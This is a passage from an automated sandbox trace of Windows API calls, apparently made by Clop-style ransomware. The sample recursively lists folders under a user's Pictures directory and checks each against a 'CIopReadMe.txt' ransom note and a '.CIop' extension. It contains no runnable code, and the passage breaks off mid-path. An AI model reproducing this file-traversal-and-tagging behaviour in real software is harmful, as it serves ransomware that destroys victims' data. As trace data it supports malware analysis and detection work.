lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0169.189] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0169.189] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0169.189] SetErrorMode (uMode=0x1) returned 0x1 [0169.189] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0169.189] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0169.189] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0169.189] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*" [0169.189] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e0b8 [0169.189] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="q0YpRzhHSmV" [0169.189] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="q0YpRzhHSmV" | out: lpString1="q0YpRzhHSmV") returned="q0YpRzhHSmV" [0169.189] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.190] lstrlenW (lpString=".CIop") returned 5 [0169.190] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0169.190] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*" [0169.190] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67db78 [0169.190] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="q0YpRzhHSmV" [0169.190] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="q0YpRzhHSmV" | out: lpString1="q0YpRzhHSmV") returned="q0YpRzhHSmV" [0169.190] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0169.190] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0169.190] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\", lpString2="72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0169.190] SetErrorMode (uMode=0x1) returned 0x1 [0169.191] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0169.191] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0169.191] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0169.191] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*" [0169.191] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dbf8 [0169.191] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="72AEjtrdw7I" [0169.191] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="72AEjtrdw7I" | out: lpString1="72AEjtrdw7I") returned="72AEjtrdw7I" [0169.192] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.192] lstrlenW (lpString=".CIop") returned 5 [0169.192] lstrlenW (lpString=".CIop") returned 5 [0169.192] lstrlenW (lpString=".CIop") returned 5 [0169.192] lstrlenW (lpString=".CIop") returned 5 [0169.192] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0169.192] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*" [0169.192] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dbf8 [0169.192] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="72AEjtrdw7I" [0169.192] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="72AEjtrdw7I" | out: lpString1="72AEjtrdw7I") returned="72AEjtrdw7I" [0169.192] lstrcpyW (in: lpString1=0x2dc2d68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0169.192] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0169.192] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0169.192] SetErrorMode (uMode=0x1) returned 0x1 [0169.192] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0169.192] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0169.192] lstrcpyW (in: lpString1=0x2dc1540, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0169.192] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*" [0169.192] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67dd78 [0169.192] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0169.192] lstrcpyW (in: lpString1=0x2dbff34, lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0169.192] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.192] lstrlenW (lpString=".CIop") returned 5 [0169.192] lstrlenW (lpString=".CIop") returned 5 [0169.192] lstrlenW (lpString=".CIop") returned 5 [0169.193] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0169.193] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*" [0169.193] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67dc38 [0169.193] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0169.193] lstrcpyW (in: lpString1=0x2dbff34, lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0169.193] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.193] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.193] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.193] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.193] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.193] lstrcmpW (lpString1="xDtCMA3q", lpString2="..") returned 1 [0169.193] lstrcmpW (lpString1="xDtCMA3q", lpString2=".") returned 1 [0169.193] lstrcpyW (in: lpString1=0x2dc2d68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0169.193] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0169.193] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0169.193] SetErrorMode (uMode=0x1) returned 0x1 [0169.193] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0169.193] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0169.193] lstrcpyW (in: lpString1=0x2dc1540, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0169.193] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*" [0169.193] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67dc38 [0169.193] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="xDtCMA3q" [0169.193] lstrcpyW (in: lpString1=0x2dbff34, lpString2="xDtCMA3q" | out: lpString1="xDtCMA3q") returned="xDtCMA3q" [0169.193] lstrlenW (lpString=".CIop") returned 5 [0169.193] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.193] lstrlenW (lpString=".CIop") returned 5 [0169.194] lstrlenW (lpString=".CIop") returned 5 [0169.194] lstrlenW (lpString=".CIop") returned 5 [0169.194] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0169.194] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*" [0169.194] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67dc38 [0169.194] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="xDtCMA3q" [0169.194] lstrcpyW (in: lpString1=0x2dbff34, lpString2="xDtCMA3q" | out: lpString1="xDtCMA3q") returned="xDtCMA3q" [0169.194] lstrcpyW (in: lpString1=0x2dc1130, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0169.194] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0169.194] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\", lpString2="J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B 